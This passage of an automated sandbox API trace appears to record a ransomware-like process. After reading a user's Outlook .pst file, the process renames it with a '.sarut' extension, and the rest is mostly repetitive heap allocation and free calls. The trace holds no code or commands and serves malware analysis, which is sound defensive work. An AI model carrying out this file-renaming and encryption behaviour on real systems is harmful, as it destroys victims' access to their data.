lpOverlapped=0x0) returned 1 [0270.601] CloseHandle (hObject=0x5c4) returned 1 [0270.608] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x302b6c8 [0270.608] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8b0) returned 0x311d708 [0270.608] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0270.608] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.sarut")) returned 1 [0270.609] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.609] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.610] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30567e0 | out: hHeap=0x640000) returned 1 [0270.610] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0270.610] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0270.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0270.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0270.611] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0270.611] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.611] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0270.611] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.611] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.611] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.611] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.611] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.611] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.611] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.611] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.611] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.611] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.612] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.612] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.612] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.612] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.612] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0270.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.612] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.612] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.612] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.612] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.612] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.612] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.612] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.612] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.613] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.614] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.614] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.615] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.615] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0270.615] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.615] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.615] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.615] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.615] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.615] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.615] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.615] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.615] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.615] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.616] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.616] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.616] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.616] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.616] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.616] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.616] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.616] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.616] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.616] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.616] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.616] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.616] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.616] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.616] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.616] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.616] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.616] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.616] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.616] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.616] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.616] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.616] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.616] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.617] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.617] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.617] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.617] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.617] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.617] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.617] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.617] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.617] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.617] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.617] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.617] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.617] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.617] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.617] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.617] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.617] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.617] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.617] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.617] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.617] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.617] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.617] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.617] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.617] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.619] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.619] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.619] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.619] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.619] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.619] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.619] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.619] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.619] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.619] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.619] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.619] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.619] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.619] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.619] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.619] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.619] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.619] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.619] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.619] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.619] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.619] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.619] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.619] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.619] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.620] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.620] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.620] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.620] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.620] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.620] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.620] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.620] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.620] HeapFree (in: hHeap=0x640000, dwFlags=0x0, 